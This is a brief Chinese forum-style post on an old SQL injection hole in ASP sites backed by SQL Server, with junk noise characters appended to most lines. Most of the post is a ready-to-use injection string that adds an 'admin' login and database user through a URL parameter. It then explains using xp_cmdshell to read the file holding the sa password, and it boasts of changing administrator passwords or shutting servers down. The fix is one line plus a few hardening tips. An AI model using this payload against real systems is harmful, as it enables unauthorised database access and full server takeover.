为了考证这种类型的程序BUG,笔者最近去了很多用ASP和SQL SERVER做的网站,发现绝大部分网站的程序有这个BUG,于是觉得有必要把这个问题贴出,以免大家犯同样的错误。8 e9 c3 r7 a0 @# H4 t% w8 [0 k
BUG描述:
; M" y6 c. O* A3 X2 r) v 把一个有参数的xxx.asp?x=x程序变成xxx.asp?x=x;use pubs;exec sp_addlogin 'admin','admin','master';exec sp_adduser 'admin','admin','db_ower';--7 N+ V8 J1 U" R
BUG讲解:) L2 _' I# U7 R, A/ j( Y( C4 j
这个BUG是利用参数未过滤来执行SQL语句增加一个用户,然后可以用此用户连上SQL SERVER,再通过exec xp_cmdshell 'type x.asp'来查看存有sa密码的ASP文件来获得SQL SERVER的最高权限。
6 a- R) J4 Y4 T' E BUG消除:" k* Z* J4 i9 d/ k; N; a# F* F5 e* b
程序增加参数过滤
' R9 d' R- [4 s2 ^. {: c 附:sp_addlogin和sp_adduser语法* D2 x( H- v6 q" e7 Y& C( _5 y
sp_addlogin [@loginame =] 'login'
' F: P. m0 b2 t1 I) b1 [' l8 l [,][@passwd =] 'password']
' P ?& Y2 y0 E' O! W3 a) h [,][@defdb =] 'database']
9 _) ~* g K# ]$ z" G* Y2 s [,][@deflanguage =] 'language']+ \, J' D' h4 u! R) ?
[,[@sid =] 'sid']
% j- s* v3 l9 N2 G) P, T) G% D [,][@encryptopt =] 'encryption_option']' P6 K5 A* R/ u) u/ R' Y' k/ |
sp_adduser [@loginame =] 'login'7 c; n! O6 F" J7 X9 A
[,][@name_in_db =] 'user']' N/ D. O* z5 G/ p
[,][@grpname =] 'group'] \; W" |8 `6 Z" D# B) S3 N9 I- A
注:如果采取SQL SERVER设为本地连接、改变端品号、drop xp_cmdshell等等可以防止很多攻击行为呀 ^_^
4 Z( ?3 D4 ?/ D: Z: ?/ e" j嘿嘿,这个BUG还可以用来改administrator的密码,让服务器关机等等" c4 x# f; y1 \
|